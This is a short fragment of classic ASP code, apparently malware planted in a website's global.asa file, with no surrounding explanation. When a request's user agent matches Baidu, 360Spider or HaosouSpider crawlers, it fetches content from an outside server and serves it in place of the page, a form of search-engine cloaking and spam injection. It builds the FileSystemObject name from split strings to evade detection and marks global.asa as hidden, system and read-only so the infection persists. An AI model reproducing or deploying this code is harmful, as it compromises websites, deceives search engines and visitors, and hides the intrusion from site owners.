Remote_server = "www.chincom.cn/" host_name="http://"&request.servervariables("HTTP_HOST")&request.servervariables("script_name") Remote_file = Remote_server&"/index.php"&"?host="&host_name if(instr(ua,"360Spider")>0 or instr(ua,"HaosouSpider")>0 or instr(ua,"baidu")>0)then Content_mb=GetHtml(Remote_file) response.write Content_mb end if Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") set f=fso.Getfile(Server.MapPath("global.asa")) if f.attributes <> 7 then f.attributes = 7 end if